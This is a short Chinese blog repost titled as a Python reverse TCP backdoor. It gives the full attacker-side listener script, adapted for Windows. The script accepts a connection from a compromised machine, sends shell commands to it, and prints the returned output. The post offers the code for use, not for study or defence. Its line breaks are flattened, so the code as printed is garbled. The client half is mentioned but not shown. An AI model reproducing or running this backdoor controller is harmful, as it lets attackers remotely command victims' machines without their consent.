用Python写Reverse TCP 后门

来源:互联网 发布:dd linux 编辑:程序博客网 时间:2024/05/17 16:53

看见一个老外用Python写的Reverse TCP后门。

小小修改了一下,让它支持Windows。


reverseTcp.py:

import socket, syshost = sys.argv[1] # Attacker's host address, usually ''port = int(sys.argv[2]) # Attacker host portif host == "''": # Adapt Windows command line    host = ''s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Setup Sockets.bind((host, port)) # Bind the Sockets.listen(100) #Max Connections: 100conn, addr = s.accept() # Accept the client Connectionprint "[+] Connection Established from: %s" % (str(addr[0]))# Print connection message to attackerwhile 1: #Run a while loop to initiate the reverse connection    command = raw_input("#> ") # Command to enter on server    if command != "exit()": # If command is not exit(), execute        if command == "": continue # Command is empty, loop function        conn.send(command) # Send Command to client        result = conn.recv(1024) #Receive output        total_size = long(result[:16]) # Get output size in bytes        result = result[16:] #Strip output size and save the rest        while total_size > len(result): # Start loop            data = conn.recv(1024) # To receive remaining data if            result += data # Output exceeds 1024        try:            result = result.decode('utf-8') # Decode utf-8 characters(Linux default)        except:            result = result.decode('gbk') # Decode gbk characters(Windows default)        print result.rstrip("\n") # Strip the last annoying newline    else: # Else: Command is exit()        conn.send("exit()") #Send client shutdown message        print "[+] Shell Going Down" # Exit Locally        break # Exit the command functions.close() # Close the socket

Window 命令行下 '' 被识别为两个单引号组成的字符串,需要清空。

Windows和Linux默认的编码不同,做个相应的解码,打印汉字不乱码。


connect.py文件不需要更改。



搞定收工。

原创粉丝点击